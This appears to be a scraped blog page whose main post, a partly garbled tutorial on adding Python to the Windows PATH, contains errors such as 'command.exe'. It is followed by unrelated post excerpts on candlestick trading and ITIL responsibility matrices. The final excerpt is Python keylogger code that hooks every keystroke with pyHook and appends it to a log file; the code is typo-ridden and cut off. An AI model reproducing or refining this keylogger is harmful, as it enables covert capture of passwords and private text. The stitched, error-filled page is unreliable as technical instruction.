Skip to main content

to test this open commandexe and enterpyat the command prompt

SYSTEMROOTAND CLICK OK

%SystemRoot%

and click OK. This will add system root to the search path.

py.exe, the python interpreter is located in the system root directory by default. If you did a custom installation then you will need to enter the path to py.exe instead of %SystemRoot%. To test this, open command.exe and enter

py

at the command prompt. If you get an error then the path is not setup correctly, otherwise you should see something like:

Python 3.6.4 (v3.6.4:d48eceb December 19, 2017, 06:54:40) [MSC v.1900 64 Bit (AMD64)] on win32

Type "help", "copyright", "credits" or "license" for more information.

>>>

Next, select the Path variable from the User variables window at the top of the control panel and click EDIT.

In the Edit environment variable window, click NEW and add the following path

%USERPROFILE%\AppData\Local\Programs\Python\Python36

This is the default installation location of the python 3.6 installation.

If you are installing a different version, or chose a custom installation then you will need to locate the python installation directory and add the path here. Click the OK button and open command.exe. Enter the following at the command prompt

Python

If everything is setup correctly, something similar to the following should be returned:

Python 3.6.4 (v3.6.4:d48eceb December 19, 2017, 06:54:40) [MSC v.1900 64 Bit (AMD64)] on win32

Popular posts from this blog

It Does Not Require Trendlines Or Other Indicators To Be Able To Project Future Moves

( The picture was taken from: http://www.technicaltradingindicators.com/tradestation- indicator s/83-candlestick-patterns/) Depending on the time frame, a candle like Hammer or Shooting Star can be a clear reversal signal as it shows enormous buying/selling pressure on the coin. It does not require trendlines or other indicators to be able to project future moves, especially if the candle was formed on a daily time frame or higher. Another very important single candle you will need is the one that appears during a blow-off top or capitulation. Those two are the reversal points in a trend, where the price makes an explosive move which then very quickly retraces. It is an indicator of a buying/selling climax that is followed by other people leaving or entering the market in an accelerated movement. A candle like this usually is massive and has a long wick which is later followed by another few candles that represent this accelerated buying/selling. Candles can also create...

INFORMED I KEEP INFORMED

Service Assets. the organization needs assets to create value. Assets have two types : Capabilities . Like, wisdom, people, management Resources . Like, data and application. Capabilities by themselves cannot produce value without adequate resources. Figure 8 Service Value Responsibility Matrix There are many responsibility matrixes available with many variations, the most common is RACI. To create RACI or any of its variations. Column : build it by labeling a column head which will be the team member or the job function. Rows : On the Rows, list activity, services, whatever necessary. In each cross cell, fill the responsibility. Always use people names, not job functions. This will enforce the accountability. Responsibility Explanation Responsible R The one Executing the action. Accountable A The final approval. Typically, a team leader. Consulted C Subject matter expert. ...

import pyHook import pythoncom def keypress event if evenAscii char

{ import pyHook import pythoncom def keypress(event): if even.Ascii: char = chr(event.Ascii) print char if char = = “~”: exit() hm = pyHook.HookManager() hm.KeyDown = keypress hm.HookKeyboard() pythoncom.PumpMessages() from datetime import * import os root_dir = os.path.split(os.path.realpath(_file_))[0] log_file = os.path.join(root_dir, “log_file.txt”) def log(message): if len(message) > 0: with open(log_file, “a”) as f: f.write(“{}:\t{}\n” .format(datetime.now(), message)) # print “{}:\t{}” .format(datetime.not(), message) buffer = “” def keypress(event) global bugger if event.Ascii char = chr(event.Ascii) if char = = “~”: log(bugger) log(“---PROGRAM ENDED---“) exit() if event.Ascii ==13: buffer += “<ENTER>\n” log(buffer) bugger = “” elif event.Ascii==8: buffer += “<BACKSPACE>” elif event.Ascii==9: buffer += “<TAB>” else: buffer += char pause_period = 2 las_pr...